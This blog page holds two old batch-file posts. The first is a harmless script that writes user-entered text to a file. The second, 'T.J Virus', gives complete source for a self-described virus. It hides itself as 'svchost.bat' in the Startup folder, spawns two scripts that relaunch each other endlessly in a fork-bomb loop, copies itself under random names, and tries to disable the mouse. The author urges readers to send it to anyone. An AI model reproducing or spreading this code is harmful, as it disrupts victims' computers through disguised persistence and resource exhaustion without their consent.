Showing posts with label batch. Show all posts
Showing posts with label batch. Show all posts

Saturday, June 4, 2011

File Maker v0.1

This is a really silly project.
This batch file created a file of the name and extension in the location you enter in it.
You can do that without it and much faster, but I mad it so I had to share it with you.
It uses many commands that you might find useful in other batch files, if you are new to batch files.

Here is the code

@echo off
title File Maker v0.1
color 0a

:back
cls
echo.
echo  Enter file location
set/p "loc="
echo.
echo  Enter filename with extension
set/p "file="
cls
echo.
echo  File location
echo  %loc%
echo.
echo  File name
echo  %file%

:top
echo.
echo Create File
echo Y for Yes
echo N for No
echo E for Exit
echo.
set/p "auth="
if %auth%==Y goto data
if %auth%==y goto data
if %auth%==N goto back
if %auth%==n goto back
if %auth%==E goto end
if %auth%==e goto end
echo.
echo Wrong Input
goto top

:data
cls
echo.
echo  Enter your data in the file (text only)
set/p "data="
cls
:sec
echo.
echo  Write File %loc%\%file%? (Y/N)
set/p "ask="
if %ask%==Y goto make
if %ask%==y goto make
if %ask%==N goto back
if %ask%==n goto back
echo.
echo Wrong Input
goto sec

:make
echo.
echo %data% >> "%loc%\%file%
cls
echo.
echo  File Created.....
pause
cls

:doyou
echo.
echo  Do you want to create another file? (Y/N)
set/p "aga="
if %aga%==Y goto back
if %aga%==y goto back
if %aga%==N goto end
if %aga%==n goto end
echo.
echo Wrong Input
goto doyou

:end
exit

Copy and paste it in Notepad and save it as anything.bat

To use it open it, enter location where you want to make the file.
P.S.- Do not enter "\" at the end of the location

Next enter the filename with it's extension

Enter the data and enter Y to create the file.

Enjoy

Sunday, February 6, 2011

T.J Virus

Hey guys,
Last time I posted my Happy Ending batch virus code 4 U, I M surprised 2 see that still today many search for that post. So to rejoice that I M again posting a batch virus code written by me. It's my take on the rabbit virus or fork bomb. First it copies itself as svchost.bat in the Startup folder and then on every boot it looks for two batch files Tom.bat and Jerry.bat, if not found then it creates them. If found then it calls them and then disables the mouse. Once called both Tom and Jerry call each other again and again until you shutdown the computer.
Here is the code:

T.J VIRUS
@echo off
:: 7.J_/IRU5
:: (R3473D_8Y_NRK89
title Tom and Jerry Virus created by NRK89.
if exist "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat" goto tom
copy %0 "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
attrib +h +r "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
attib +h +r %0
exit

:tom
if exist "C:\Documents and Settings\%username%\Desktop\tom.bat" goto jerry
echo @echo off > "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo title I am Tom >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo color 08 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo if exist "C:\Documents and Settings\%username%\Desktop\jerry.bat" goto 60 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo start "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat" >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo :60 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo start /max "C:\Documents and Settings\%username%\Desktop\jerry.bat" >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo copy %0 “C:\Documents and Settingd\%username%\Desktop\jerry%random%.bat >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo cls >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo echo. >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo dir/s >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo goto 60 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"

:jerry
if exist "C:\Documents and Settings\%username%\Desktop\jerry.bat" goto nxt
echo @echo off > "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo title I am Jerry >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo color 06 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo if exist "C:\Documents and Settings\%username%\Desktop\tom.bat" goto 60 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo start "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat" >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo :60 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo start /max "C:\Documents and Settings\%username%\Desktop\tom.bat" >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo copy %0 “C:\Documents and Settingd\%username%\Desktop\tom%random%.bat >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo cls >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo echo. >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo dir/s >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo goto 60 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"

:nxt
start /max "C:\Documents and Settings\%username%\Desktop\tom.bat"
start /max "C:\Documents and Settings\%username%\Desktop\jerry.bat"
rundll32.exe disable mouse
exit

Save it as anything.bat and you are done. It is a big file as it contains codes for three batch files. Just send it to anyone. It won't damage your computer (I hope).